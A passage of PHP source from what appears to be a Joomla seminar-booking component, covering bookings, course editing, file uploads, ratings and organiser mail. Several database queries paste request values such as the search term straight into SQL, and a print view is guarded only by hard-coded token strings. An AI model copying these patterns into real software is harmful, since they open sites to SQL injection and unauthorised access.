sem_g010(2);
} else {
sem_f050($cid,$neu->id,1);
$ueberschrift = array($ueber1,$reason);
// Ausgabe des Kurses
sem_f019(JTEXT::_('SEM_0083'),"javascript:auf('','','');");
sem_f019($row->title,"");
if($usrid==0) {
$usrid = $neu->id * -1;
}
HTML_FrontSeminar::sem_g002($art,$row,$usrid,$search,$catid,$limit,$limitstart,$dateid,$ueberschrift);
}
}
// +++++++++++++++++++++++++++++++++++++
// +++ Buchung loeschen +++
// +++++++++++++++++++++++++++++++++++++
function sem_g005() {
$database = &JFactory::getDBO();
$my = &JFactory::getuser();
$cid = JRequest::getInt('cid',0);
$database->setQuery("SELECT * FROM #__sembookings WHERE id='$cid'");
$rows = $database->loadObjectList();
if(count($rows)>0) {
sem_f050($rows[0]->semid,$cid,2);
$database->setQuery("DELETE FROM #__sembookings WHERE id='$cid'");
if (!$database->query()) {
JError::raiseError(500,$database->getError());
exit();
}
}
sem_g001(1);
}
// ++++++++++++++++++++++++++++++++++
// +++ Kurse editieren +++
// ++++++++++++++++++++++++++++++++++
function sem_g006() {
$database = &JFactory::getDBO();
$my = &JFactory::getuser();
$dateid = JRequest::getInt('dateid',1);
$catid = JRequest::getInt('catid',0);
$search = JRequest::getVar('search','');
$limit = JRequest::getInt('limit',5);
$limitstart = JRequest::getInt('limitstart',0);
$vorlage = JRequest::getInt('vorlage',0);
$cid = JRequest::getInt('cid',0);
$args = func_get_args();
if(count($args)==1) {
$vorlage = $args[0];
$cid = $vorlage;
}
if(count($args)>1) {
$cid = $args[0];
$fehler = $args[1];
$fehler = array_unique($fehler);
if($fehler[0]=="") {
$fehler = array_slice($fehler,1);
}
$fehler = implode("<br />",$fehler);
JError::raise(E_WARNING,1,$fehler);
}
if(count($args)>2) {
$row = $args[2];
} else {
$row = new mosSeminar($database);
$row->load($cid);
}
// Ist es eine Vorlage
if($vorlage>0) {
$row->id = "";
$row->pattern = "";
}
if($cid<1) {
$row->publisher = $my->id;
$row->semnum = sem_f064(date('Y'));
}
$row->vorlage = $vorlage;
// Zeit festlegen
if($row->begin=="0000-00-00 00:00:00") {
$row->begin = date("Y-m-d 14:00:00");
$row->end = date("Y-m-d 17:00:00");
$row->booked = date("Y-m-d 12:00:00");
}
$zeit = explode(" ",$row->begin);
$row->begin_date = $zeit[0];
$zeit = explode(":",$zeit[1]);
$row->begin_hour = $zeit[0];
$row->begin_minute = $zeit[1];
$zeit = explode(" ",$row->end);
$row->end_date = $zeit[0];
$zeit = explode(":",$zeit[1]);
$row->end_hour = $zeit[0];
$row->end_minute = $zeit[1];
$zeit = explode(" ",$row->booked);
$row->booked_date = $zeit[0];
$zeit = explode(":",$zeit[1]);
$row->booked_hour = $zeit[0];
$row->booked_minute = $zeit[1];
sem_f019(JTEXT::_('SEM_1031'),"javascript:auf(2,'','');");
if ($cid) {
sem_f019($row->title,"");
} else {
sem_f019(JTEXT::_('SEM_0060'),"");
}
HTML_FrontSeminar::sem_g006($row,$search,$catid,$limit,$limitstart,$dateid);
}
// +++++++++++++++++++++++++++++++++++++
// +++ Neuen Kurs speichern +++
// +++++++++++++++++++++++++++++++++++++
function sem_g007() {
$database = &JFactory::getDBO();
$my = &JFactory::getuser();
$config = &JComponentHelper::getParams('com_seminar');
$cid = JRequest::getInt('cid',0);
$caid = JRequest::getInt('caid',0);
$cancel = JRequest::getInt('cancel',0);
$inform = JRequest::getInt('inform',0);
$infotext = sem_f018(JRequest::getVar('infotext',''));
$deldatei1 = JRequest::getInt('deldatei1',0);
$deldatei2 = JRequest::getInt('deldatei2',0);
$deldatei3 = JRequest::getInt('deldatei3',0);
$deldatei4 = JRequest::getInt('deldatei4',0);
$deldatei5 = JRequest::getInt('deldatei5',0);
$vorlage = JRequest::getInt('vorlage',0);
$neudatum = sem_f046();
// Zeit formatieren
$_begin_date = JRequest::getVar('_begin_date','0000-00-00');
$_begin_hour= JRequest::getVar('_begin_hour','00');
$_begin_minute = JRequest::getVar('_begin_minute','00');
$_end_date = JRequest::getVar('_end_date','0000-00-00');
$_end_hour= JRequest::getVar('_end_hour','00');
$_end_minute = JRequest::getVar('_end_minute','00');
$_booked_date = JRequest::getVar('_booked_date','0000-00-00');
$_booked_hour= JRequest::getVar('_booked_hour','00');
$_booked_minute = JRequest::getVar('_booked_minute','00');
if($cid>0) {
$kurs = new mosSeminar($database);
$kurs->load($cid);
}
if($vorlage>0) {
$kurs = new mosSeminar($database);
$kurs->load($vorlage);
}
$post = JRequest::get('post');
$post['description'] = JRequest::getVar('description', '', 'post', 'string', JREQUEST_ALLOWHTML);
$row = new mosSeminar($database);
$row->load($cid);
if (!$row->bind($post)) {
return JError::raiseWarning( 500, $row->getError() );
}
if($cancel!=$row->cancelled AND $row->pattern=="") {
$tempmail = 9 + $cancel;
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$row->id'" );
$rows = $database->loadObjectList();
for ($i=0, $n=count($rows); $i < $n; $i++) {
sem_f050($row->id,$rows[$i]->id,$tempmail);
}
}
$row->cancelled = $cancel;
$row->catid = $caid;
// Zuweisung der Startzeit
if (intval( $_begin_date )) {
$dt = "$_begin_date $_begin_hour:$_begin_minute:00";
} else {
$dt = date( "Y-m-d 14:00:00" );
}
$row->begin = strftime( "%Y-%m-%d %H:%M:%S", strtotime( $dt ) );
// Zuweisung der Endzeit
if (intval( $_end_date)) {
$dt = "$_end_date $_end_hour:$_end_minute:00";
} else {
$dt = date( "Y-m-d 17:00:00" );
}
$row->end = strftime( "%Y-%m-%d %H:%M:%S", strtotime( $dt ) );
// Zuweisung der Buchungszeit
if (intval( $_booked_date)) {
$dt = "$_booked_date $_booked_hour:$_booked_minute:00";
} else {
$dt = date( "Y-m-d 12:00:00" );
}
$row->booked = strftime( "%Y-%m-%d %H:%M:%S", strtotime( $dt ) );
// Zuweisung der aktuellen Zeit
if($cid==0) {
$row->publishdate = $neudatum;
} else {
$row->publishdate = $kurs->publishdate;
}
$row->updated = $neudatum;
// neue Daten eintragen
$row->description = str_replace('<br>','<br />',$row->description);
$row->description = str_replace('\"','"',$row->description);
$row->description = str_replace("\'","'",$row->description);
$row->semnum = sem_f018($row->semnum);
$row->title = sem_f018($row->title);
$row->target = sem_f018($row->target);
$row->shortdesc = sem_f018($row->shortdesc);
$row->place = sem_f018($row->place);
$row->fees = str_replace(",",".",sem_f018($row->fees));
$row->maxpupil = sem_f018($row->maxpupil);
$row->gmaploc = sem_f018($row->gmaploc);
$row->nrbooked = sem_f018($row->nrbooked);
$row->zusatz1 = sem_f018($row->zusatz1);
$row->zusatz2 = sem_f018($row->zusatz2);
$row->zusatz3 = sem_f018($row->zusatz3);
$row->zusatz4 = sem_f018($row->zusatz4);
$row->zusatz5 = sem_f018($row->zusatz5);
$row->zusatz6 = sem_f018($row->zusatz6);
$row->zusatz7 = sem_f018($row->zusatz7);
$row->zusatz8 = sem_f018($row->zusatz8);
$row->zusatz9 = sem_f018($row->zusatz9);
$row->zusatz10 = sem_f018($row->zusatz10);
$row->zusatz11 = sem_f018($row->zusatz11);
$row->zusatz12 = sem_f018($row->zusatz12);
$row->zusatz13 = sem_f018($row->zusatz13);
$row->zusatz14 = sem_f018($row->zusatz14);
$row->zusatz15 = sem_f018($row->zusatz15);
$row->zusatz16 = sem_f018($row->zusatz16);
$row->zusatz17 = sem_f018($row->zusatz17);
$row->zusatz18 = sem_f018($row->zusatz18);
$row->zusatz19 = sem_f018($row->zusatz19);
$row->zusatz20 = sem_f018($row->zusatz20);
$row->zusatz1hint = sem_f018($row->zusatz1hint);
$row->zusatz2hint = sem_f018($row->zusatz2hint);
$row->zusatz3hint = sem_f018($row->zusatz3hint);
$row->zusatz4hint = sem_f018($row->zusatz4hint);
$row->zusatz5hint = sem_f018($row->zusatz5hint);
$row->zusatz6hint = sem_f018($row->zusatz6hint);
$row->zusatz7hint = sem_f018($row->zusatz7hint);
$row->zusatz8hint = sem_f018($row->zusatz8hint);
$row->zusatz9hint = sem_f018($row->zusatz9hint);
$row->zusatz10hint = sem_f018($row->zusatz10hint);
$row->zusatz11hint = sem_f018($row->zusatz11hint);
$row->zusatz12hint = sem_f018($row->zusatz12hint);
$row->zusatz13hint = sem_f018($row->zusatz13hint);
$row->zusatz14hint = sem_f018($row->zusatz14hint);
$row->zusatz15hint = sem_f018($row->zusatz15hint);
$row->zusatz16hint = sem_f018($row->zusatz16hint);
$row->zusatz17hint = sem_f018($row->zusatz17hint);
$row->zusatz18hint = sem_f018($row->zusatz18hint);
$row->zusatz19hint = sem_f018($row->zusatz19hint);
$row->zusatz20hint = sem_f018($row->zusatz20hint);
$row->file1desc = sem_f018($row->file1desc);
$row->file2desc = sem_f018($row->file2desc);
$row->file3desc = sem_f018($row->file3desc);
$row->file4desc = sem_f018($row->file4desc);
$row->file5desc = sem_f018($row->file5desc);
if($cid>0 OR $vorlage>0) {
if($deldatei1!=1) {
$row->file1 = $kurs->file1;
$row->file1code = $kurs->file1code;
}
if($deldatei2!=1) {
$row->file2 = $kurs->file2;
$row->file2code = $kurs->file2code;
}
if($deldatei3!=1) {
$row->file3 = $kurs->file3;
$row->file3code = $kurs->file3code;
}
if($deldatei4!=1) {
$row->file4 = $kurs->file4;
$row->file4code = $kurs->file4code;
}
if($deldatei5!=1) {
$row->file5 = $kurs->file5;
$row->file5code = $kurs->file5code;
}
}
if($cid>0) {
$row->hits = $kurs->hits;
}
$fileext = explode(' ',strtolower($config->get('sem_p057','txt zip pdf')));
$filesize = $config->get('sem_p056',200)*1024;
$fehler = array('','','','','','','','','','');
if(is_file($_FILES['datei1']['tmp_name']) AND $_FILES['datei1']['size']>0) {
if($_FILES['datei1']['size']>$filesize) {
$fehler[0] = str_replace("SEM_FILE",$_FILES['datei1']['name'],JTEXT::_('SEM_0141'));
}
$datei1ext = array_pop(explode( ".",strtolower($_FILES['datei1']['name'])));
if(!in_array($datei1ext,$fileext)) {
$fehler[1] = str_replace("SEM_FILE",$_FILES['datei1']['name'],JTEXT::_('SEM_0142'));
}
if($fehler[0]=="" AND $fehler[1]=="") {
$row->file1 = $_FILES['datei1']['name'];
$row->file1code = base64_encode(file_get_contents($_FILES['datei1']['tmp_name']));
}
}
if(is_file($_FILES['datei2']['tmp_name']) AND $_FILES['datei2']['size']>0) {
if($_FILES['datei2']['size']>$filesize) {
$fehler[2] = str_replace("SEM_FILE",$_FILES['datei2']['name'],JTEXT::_('SEM_0141'));
}
$datei2ext = array_pop(explode( ".",strtolower($_FILES['datei2']['name'])));
if(!in_array($datei2ext,$fileext)) {
$fehler[3] = str_replace("SEM_FILE",$_FILES['datei2']['name'],JTEXT::_('SEM_0142'));
}
if($fehler[2]=="" AND $fehler[3]=="") {
$row->file2 = $_FILES['datei2']['name'];
$row->file2code = base64_encode(file_get_contents($_FILES['datei2']['tmp_name']));
}
}
if(is_file($_FILES['datei3']['tmp_name']) AND $_FILES['datei3']['size']>0) {
if($_FILES['datei3']['size']>$filesize) {
$fehler[4] = str_replace("SEM_FILE",$_FILES['datei3']['name'],JTEXT::_('SEM_0141'));
}
$datei3ext = array_pop(explode( ".",strtolower($_FILES['datei3']['name'])));
if(!in_array($datei3ext,$fileext)) {
$fehler[5] = str_replace("SEM_FILE",$_FILES['datei3']['name'],JTEXT::_('SEM_0142'));
}
if($fehler[4]=="" AND $fehler[5]=="") {
$row->file3 = $_FILES['datei3']['name'];
$row->file3code = base64_encode(file_get_contents($_FILES['datei3']['tmp_name']));
}
}
if(is_file($_FILES['datei4']['tmp_name']) AND $_FILES['datei4']['size']>0) {
if($_FILES['datei4']['size']>$filesize) {
$fehler[6] = str_replace("SEM_FILE",$_FILES['datei4']['name'],JTEXT::_('SEM_0141'));
}
$datei4ext = array_pop(explode( ".",strtolower($_FILES['datei4']['name'])));
if(!in_array($datei4ext,$fileext)) {
$fehler[7] = str_replace("SEM_FILE",$_FILES['datei4']['name'],JTEXT::_('SEM_0142'));
}
if($fehler[6]=="" AND $fehler[7]=="") {
$row->file4 = $_FILES['datei4']['name'];
$row->file4code = base64_encode(file_get_contents($_FILES['datei4']['tmp_name']));
}
}
if(is_file($_FILES['datei5']['tmp_name']) AND $_FILES['datei5']['size']>0) {
if($_FILES['datei5']['size']>$filesize) {
$fehler[8] = str_replace("SEM_FILE",$_FILES['datei5']['name'],JTEXT::_('SEM_0141'));
}
$datei5ext = array_pop(explode( ".",strtolower($_FILES['datei5']['name'])));
if(!in_array($datei5ext,$fileext)) {
$fehler[9] = str_replace("SEM_FILE",$_FILES['datei5']['name'],JTEXT::_('SEM_0142'));
}
if($fehler[8]=="" AND $fehler[9]=="") {
$row->file5 = $_FILES['datei5']['name'];
$row->file5code = base64_encode(file_get_contents($_FILES['datei5']['tmp_name']));
}
}
// Eingaben ueberpruefen
$speichern = TRUE;
if(!sem_f067($row->pattern,'leer')) {
if(!sem_f067($row->semnum,'leer')) {
$speichern = FALSE;
$htxt = JTEXT::_('SEM_0150');
if($cid<1) {
$htxt .= " ".JTEXT::_('SEM_0152');
}
$fehler[] = $htxt;
} else {
$database->setQuery("SELECT id FROM #__seminar WHERE semnum='$row->semnum' AND id!='$row->id'");
$rows = $database->loadObjectList();
if(count($rows)>0) {
$speichern = FALSE;
$htxt = JTEXT::_('SEM_0151');
if($cid<1) {
$htxt .= " ".JTEXT::_('SEM_0152');
}
$fehler[] = $htxt;
}
}
}
// speichern
if($speichern == TRUE) {
if (!$row->check()) {
JError::raiseError( 500, $database->stderr() );
return false;
}
if (!$row->store()) {
JError::raiseError( 500, $database->stderr() );
return false;
}
}
// Ausgabe der Kurse
$fehlerzahl = array_unique($fehler);
if(sem_f067($row->pattern,'leer')) {
sem_g006($row->id);
} elseif (count($fehlerzahl)>1 AND $speichern == TRUE) {
sem_g006($row->id,$fehler);
} elseif (count($fehlerzahl)>1 AND $speichern == FALSE) {
sem_g006($row->id,$fehler,$row);
} else {
sem_g001(2);
}
}
// +++++++++++++++++++++++++++++++++++++
// +++ Kurs unpublishen +++
// +++++++++++++++++++++++++++++++++++++
function sem_g008() {
$database = &JFactory::getDBO();
$my = &JFactory::getuser();
$cid = JRequest::getInt('cid',0);
$vorlage = JRequest::getInt('vorlage',0);
$database->setQuery( "SELECT * FROM #__seminar WHERE id='$cid'" );
$rows = $database->loadObjectList();
$aktsem = &$rows[0];
$neudatum = sem_f046();
if($neudatum<$aktsem->begin AND $vorlage==0) {
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$cid'" );
$rows = $database->loadObjectList();
for ($i=0, $n=count($rows); $i < $n; $i++) {
sem_f050($cid,$rows[$i]->id,4);
}
}
$database->setQuery( "UPDATE #__seminar SET published=0 WHERE id='$cid'" );
if (!$database->query()) {
JError::raiseError( 500, $row->getError() );
exit();
}
if($vorlage>0) {
sem_g006(0);
} else {
sem_g001(2);
}
}
// ++++++++++++++++++++++++++++++++++
// +++ Seminar kopieren +++
// ++++++++++++++++++++++++++++++++++
function sem_g009() {
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$database->setQuery( "SELECT * FROM #__seminar WHERE id='$cid'" );
$rows = $database->loadObjectList();
if ($database->getErrorNum()) {
JError::raiseError( 500, $row->getError() );
return false;
}
$item = $rows[0];
$row = new mosseminar( $database );
if (!$row->bind( $item )) {
JError::raiseError( 500, $row->getError() );
exit();
}
$row->id = NULL;
$row->hits = 0;
$row->grade = 0;
$row->certificated = 0;
$row->sid = $item->id;
$row->publishdate = sem_f046();
$row->semnum = sem_f064(date('Y'));
if (!$row->check()) {
JError::raiseError( 500, $row->getError() );
return false;
}
if (!$row->store()) {
JError::raiseError( 500, $row->getError() );
return false;
}
sem_g001(2);
}
// +++++++++++++++++++++++++++++++++++++
// +++ Buchungen ansehen +++
// +++++++++++++++++++++++++++++++++++++
function sem_g010($arte) {
$database = &JFactory::getDBO();
$config = &JComponentHelper::getParams('com_seminar');
$dateid = JRequest::getInt('dateid',1);
$catid = JRequest::getInt('catid',0);
$search = JRequest::getVar('search','');
$limit = JRequest::getInt('limit',5);
$limitstart = JRequest::getInt('limitstart',0);
$cid = JRequest::getInt('cid',0);
$art = JRequest::getInt('uid',0);
$args = func_get_args();
if(count($args)>1) {
$cid = $args[1];
}
if($arte==2) {
$art = 2;
}
$kurs = new mosSeminar( $database );
$kurs->load($cid);
if($art==0) {
$anztyp = array(JTEXT::_('SEM_0083'),0);
} elseif($art==1) {
$anztyp = array(JTEXT::_('SEM_1005'),1);
} elseif($art==2) {
$anztyp = array(JTEXT::_('SEM_1031'),2);
}
$database->setQuery( "SELECT a.*, cc.*, a.id AS sid, a.name AS aname, a.email AS aemail FROM #__sembookings AS a LEFT JOIN #__users AS cc ON cc.id = a.userid WHERE a.semid = '$kurs->id' ORDER BY a.id");
$rows = $database->loadObjectList();
if ($database->getErrorNum()) {
echo $database->stderr();
return false;
}
sem_f019($anztyp[0],"javascript:auf(".$anztyp[1].",'','');");
sem_f019($kurs->title,"");
HTML_FrontSeminar::sem_g010($art,$rows,$search,$limit,$limitstart,$kurs,$catid,$dateid);
}
// +++++++++++++++++++++++++++++++++++++++++++
// +++ Buchung durch Veranstalter loeschen +++
// +++++++++++++++++++++++++++++++++++++++++++
function sem_g011() {
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$database->setQuery("SELECT * FROM #__sembookings WHERE id='$cid'");
$rows = $database->loadObjectList();
if($rows[0]->userid >0 ) {
sem_f050($rows[0]->semid,$rows[0]->id, 3);
}
$database->setQuery("DELETE FROM #__sembookings WHERE id='$cid'");
if (!$database->query()) {
JError::raiseError( 500, $database->getError() );
exit();
}
sem_g010(2,$rows[0]->semid);
}
// +++++++++++++++++++++++++++++++++++++++++++
// +++ Bezahlung markieren +++
// +++++++++++++++++++++++++++++++++++++++++++
function sem_g012() {
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$database->setQuery("SELECT * FROM #__sembookings WHERE id='$cid'");
$rows = $database->loadObjectList();
if($rows[0]->paid == 0) {
$paid = 1;
} else {
$paid = 0;
}
$database->setQuery("UPDATE #__sembookings SET paid='$paid' WHERE id='$cid'");
if (!$database->query()) {
JError::raiseError( 500, $row->getError() );
exit();
}
sem_g010(2,$rows[0]->semid);
}
// +++++++++++++++++++++++++++++++++++++++++++
// +++ Teilnehmer zertifizieren +++
// +++++++++++++++++++++++++++++++++++++++++++
function sem_g013() {
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$database->setQuery( "SELECT * FROM #__sembookings WHERE id='$cid'" );
$rows = $database->loadObjectList();
if($rows[0]->certificated == 0) {
$cert = 1;
$certmail = 6;
} else {
$cert = 0;
$certmail = 7;
}
$database->setQuery( "UPDATE #__sembookings SET certificated='$cert' WHERE id='$cid'" );
if (!$database->query()) {
JError::raiseError( 500, $row->getError() );
exit();
}
sem_f050($rows[0]->semid,$cid,$certmail);
sem_g010(2,$rows[0]->semid);
}
// +++++++++++++++++++++++++++++++++++++++++++
// +++ Bewertungsfenster ausgeben +++
// +++++++++++++++++++++++++++++++++++++++++++
function sem_g014() {
$my = &JFactory::getuser();
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$database->setQuery( "SELECT * FROM #__seminar WHERE id='$cid'" );
$rows = $database->loadObjectList();
$row = &$rows[0];
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$cid' AND userid='$my->id'" );
$buchung = $database->loadObjectList();
$buchung = $buchung[0];
HTML_FrontSeminar::sem_g014($row,$buchung);
}
// +++++++++++++++++++++++++++++++++++++++++++
// +++ Bewertung abspeichern +++
// +++++++++++++++++++++++++++++++++++++++++++
function sem_g015() {
$mainframe = JFactory::getApplication();
$config = &JComponentHelper::getParams('com_seminar');
jimport( 'joomla.mail.helper' );
$my = &JFactory::getuser();
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$grade = JRequest::getInt('grade',0);
$text = JRequest::getVar('text','');
$text = str_replace(array("\"","\'"),"",$text);
$text = JMailHelper::cleanBody($text);
$database->setQuery( "UPDATE #__sembookings SET grade='$grade', comment='$text' WHERE semid='$cid' AND userid='$my->id'" );
if (!$database->query()) {
JError::raiseError( 500, $row->getError() );
exit();
}
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$cid'" );
$rows = $database->loadObjectList();
$zaehler = 0;
$wertung = 0;
foreach ($rows AS $row) {
if($row->grade > 0) {
$wertung = $wertung + $row->grade;
$zaehler = $zaehler + 1;
}
}
if( $zaehler>0) {
$geswert = round($wertung/$zaehler);
} else {
$geswert = 0;
}
$database->setQuery( "UPDATE #__seminar SET grade='$geswert' WHERE id='$cid'" );
if (!$database->query()) {
JError::raiseError( 500, $row->getError() );
exit();
}
if($config->get('sem_p009',0)>0) {
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$cid' AND userid='$my->id'" );
$rows = $database->loadObjectList();
$buchung = &$rows[0];
$database->setQuery( "SELECT * FROM #__seminar WHERE id='$cid'" );
$rows = $database->loadObjectList();
$row = &$rows[0];
$publisher = &JFactory::getuser($row->publisher);
$body = "\n<head>\n<style type=\"text/css\">\n<!--\nbody {\nfont-family: Verdana, Tahoma, Arial;\nfont-size:12pt;\n}\n-->\n</style></head><body>";
$body .= "<p><div style=\"font-size: 10pt\">".JTEXT::_('SEM_1019')."</div>";
$body .= "<p><div style=\"font-size: 10pt\">".JTEXT::_('SEM_0055').":</div>";
$htxt = str_replace('SEM_POINTS',$grade,JTEXT::_('SEM_0054'));
$body .= "<div style=\"border: 1px solid #A0A0A0; width: 100%; padding: 5px;\">".$htxt."</div>";
$body .= "<p><div style=\"font-size: 10pt\">".JTEXT::_('SEM_0042').":</div>";
$body .= "<div style=\"border: 1px solid #A0A0A0; width: 100%; padding: 5px;\">".htmlspecialchars($text)."</div>";
$body .= "<p><div style=\"font-size: 10pt\">".JTEXT::_('SEM_1018').":</div>";
$htxt = str_replace('SEM_POINTS',$geswert,JTEXT::_('SEM_0054'));
$body .= "<div style=\"border: 1px solid #A0A0A0; width: 100%; padding: 5px;\">".$htxt."</div>";
$body .= "<p>".sem_f049($row,$buchung,$my);
$sender = $mainframe->getCfg('fromname');
$from = $mainframe->getCfg('mailfrom');
$replyname = $my->name;
$replyto = $my->email;
$email = $publisher->email;
$subject = JTEXT::_('SEM_0048');
if($row->semnum!="") {
$subject .= " ".$row->semnum;
}
$subject .= ": ".$row->title;
$subject = JMailHelper::cleanSubject($subject);
JUtility::sendMail($from, $sender, $email, $subject, $body, 1, null, null, null, $replyto, $replyname);
}
HTML_FrontSeminar::sem_g021($grade,$cid);
}
// +++++++++++++++++++++++++++++++++++++++++++
// +++ Nachricht an Veranstalter schreiben +++
// +++++++++++++++++++++++++++++++++++++++++++
function sem_g016($art) {
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$database->setQuery( "SELECT * FROM #__seminar WHERE id='$cid'" );
$rows = $database->loadObjectList();
$row = &$rows[0];
HTML_FrontSeminar::sem_g016($art,$row);
}
// ++++++++++++++++++++++++++++++++++++++++++++
// +++ Nachricht an Veranstalter abschicken +++
// ++++++++++++++++++++++++++++++++++++++++++++
function sem_g017() {
$mainframe = JFactory::getApplication();
jimport( 'joomla.mail.helper' );
$my = &JFactory::getuser();
$database = &JFactory::getDBO();
$cid = JRequest::getInt('cid',0);
$uid = JRequest::getInt('uid',0);
$text = JMailHelper::cleanBody(nl2br(JRequest::getVar('text','')));
if($text != "") {
$reason = JTEXT::_('SEM_1027');
$database->setQuery( "SELECT * FROM #__seminar WHERE id='$cid'" );
$rows = $database->loadObjectList();
$kurs = &$rows[0];
if($row->semnum!="") {
$subject .= " ".$kurs->semnum;
}
$subject .= ": ".$kurs->title;
$subject = JMailHelper::cleanSubject($subject);
$sender = $mainframe->getCfg('fromname');
$from = $mainframe->getCfg('mailfrom');
if($my->id==0) {
$replyname = $mainframe->getCfg('fromname');
$replyto = $mainframe->getCfg('mailfrom');
} else {
$replyname = $my->name;
$replyto = $my->email;
}
$body = "\n<head>\n<style type=\"text/css\">\n<!--\nbody {\nfont-family: Verdana, Tahoma, Arial;\nfont-size:12pt;\n}\n-->\n</style></head><body>";
if($uid==1 AND $my->id!=0) {
$body .= "<p><div style=\"font-size: 10pt\">".JTEXT::_('SEM_1022')."</div><p>";
}
$body .= "<div style=\"border: 1px solid #A0A0A0; width: 100%; padding: 5px;\">".$text."</div><p>";
$temp = array();
if($uid==1) {
$body .= sem_f049($kurs,$temp,$my);
$publisher = &JFactory::getuser($kurs->publisher);
$email = $publisher->email;
JUtility::sendMail($from, $sender, $email, $subject, $body, 1, null, null, null, $replyto, $replyname);
} else {
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$kurs->id'" );
$rows = $database->loadObjectList();
foreach ($rows as $row) {
if($row->userid==0) {
$user->email = $row->email;
$user->name = $row->name;
} else {
$user = &JFactory::getuser($row->userid);
}
$text = $body.sem_f049($kurs,$row,$user);
JUtility::sendMail($from, $sender, $user->email, $subject, $text, 1, null, null, null, $replyto, $replyname);
}
}
} else {
$reason = JTEXT::_('SEM_1024');
}
HTML_FrontSeminar::sem_g022($reason);
}
// ++++++++++++++++++++++++++++++++++++++++
// +++ Ausdruck der Seminaruebersichten +++
// ++++++++++++++++++++++++++++++++++++++++
function sem_g018() {
$database = &JFactory::getDBO();
$config = &JComponentHelper::getParams('com_seminar');
$my = &JFactory::getuser();
$dateid = JRequest::getInt('dateid',1);
$catid = JRequest::getInt('catid',0);
$search = JRequest::getVar('search','');
$limit = JRequest::getInt('limit',5);
$limitstart = JRequest::getInt('limitstart',0);
$cid = JRequest::getInt('cid',0);
$uid = JRequest::getInt('uid',0);
$OIO = JRequest::getVar('OIO','');
if( $OIO!="65O9805443904" AND $OIO!="6530387504345" AND $OIO!="653O875032490" ) {
JError::raiseError( 403, JText::_("ALERTNOTAUTH") );
exit;
}
$neudatum = sem_f046();
if( $limitstart < 0) {
$limitstart = 0;
}
$ttlimit = "";
if($limit > 0) {
$ttlimit = "\nLIMIT $limitstart, $limit";
}
$where = array();
$where[] = "a.pattern = ''";
$where[] = "a.published = '1'";
switch ($OIO) {
case "65O9805443904":
$navioben = explode(" ",$config->get('sem_p053','SEM_NUMBER SEM_SEARCH SEM_CATEGORIES SEM_RESET'));
break;
case "6530387504345":
$navioben = explode(" ",$config->get('sem_p054','SEM_NUMBER SEM_SEARCH SEM_CATEGORIES SEM_RESET'));
break;
case "653O875032490":
$navioben = explode(" ",$config->get('sem_p055','SEM_NUMBER SEM_SEARCH SEM_CATEGORIES SEM_RESET'));
break;
}
if(in_array('SEM_TYPES',$navioben)) {
switch ($dateid) {
case "1":
$where[] = "a.end > '$neudatum'";
break;
case "2":
$where[] = "a.end <= '$neudatum'";
break;
}
}
switch($OIO) {
case "65O9805443904":
if(!in_array('SEM_TYPES',$navioben)) {
$where[] = "a.end > '$neudatum'";
}
if((isset($_GET["catid"]) OR in_array('SEM_CATEGORIES',$navioben)) AND $catid>0) {
$where[] = "a.catid ='$catid'";
}
$headertext = JTEXT::_('SEM_0083');
if ($cid) {
$where[] = "a.id= '$cid'";
$headertext = JTEXT::_('SEM_0048');
}
$database->setQuery( "SELECT a.*, cc.title AS category FROM #__seminar AS a"
. "\nLEFT JOIN #__categories AS cc"
. "\nON cc.id = a.catid"
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. "\nAND (a.semnum LIKE'%$search%' OR a.teacher LIKE '%$search%' OR a.title LIKE '%$search%' OR a.shortdesc LIKE '%$search%' OR a.description LIKE '%$search%')"
);
$rows = $database->loadObjectList();
// Abzug der Kurse, die wegen Ausbuchung nicht angezeigt werden sollen
if (!$cid) {
$abid = array();
foreach($rows as $row) {
if($row->stopbooking==2) {
$gebucht = sem_f020($row);
if($row->maxpupil-$gebucht->booked<1) {
$abid[] = $row->id;
};
}
}
if(count($abid)>0) {
$abid = implode(',',$abid);
$where[] = "a.id NOT IN ($abid)";
}
}
$database->setQuery( "SELECT a.*, cc.title AS category FROM #__seminar AS a"
. "\nLEFT JOIN #__categories AS cc"
. "\nON cc.id = a.catid"
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. "\nAND (a.semnum LIKE'%$search%' OR a.teacher LIKE '%$search%' OR a.title LIKE '%$search%' OR a.shortdesc LIKE '%$search%' OR a.description LIKE '%$search%')"
. "\nORDER BY a.begin"
. $ttlimit
);
$rows = $database->loadObjectList();
$status = array();
$paid = array();
$abid = array();
for ($i=0, $n=count($rows); $i < $n; $i++) {
$row = &$rows[$i];
$gebucht = sem_f020($row);
$gebucht = $gebucht->booked;
if(sem_f046()>$row->booked OR ($row->maxpupil-$gebucht<1 AND $row->stopbooking==1) OR ($my->id==$row->publisher AND $config->get('sem_p002',0)==0)) {
$status[$i] = JTEXT::_('SEM_0088');
} else if($row->maxpupil-$gebucht<1 && $row->stopbooking==0) {
$status[$i] = JTEXT::_('SEM_0036');
} else if($row->maxpupil-$gebucht<1 && $row->stopbooking==2) {
$abid[] = $row->id;
} else {
$status[$i] = JTEXT::_('SEM_0031');
}
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$row->id' AND userid='$my->id'" );
$temp = $database->loadObjectList();
if( count( $temp ) > 0 ) {
$status[$i] = JTEXT::_('SEM_1007');
if( $temp[0]->paid == 1) {
$rows[$i]->fees = $rows[$i]->fees." - ".JTEXT::_('SEM_0065');
}
}
$rows[$i]->codepic = "";
}
break;
case "6530387504345":
sem_f043(1);
$headertext = JTEXT::_('SEM_1005')." - ".$my->name;
if(in_array('SEM_CATEGORIES',$navioben) AND $catid>0) {
$where[] = "a.catid ='$catid'";
}
$where[] = "cc.userid = '".$my->id."'";
if($cid) {
$where[] = "cc.semid = '".$cid."'";
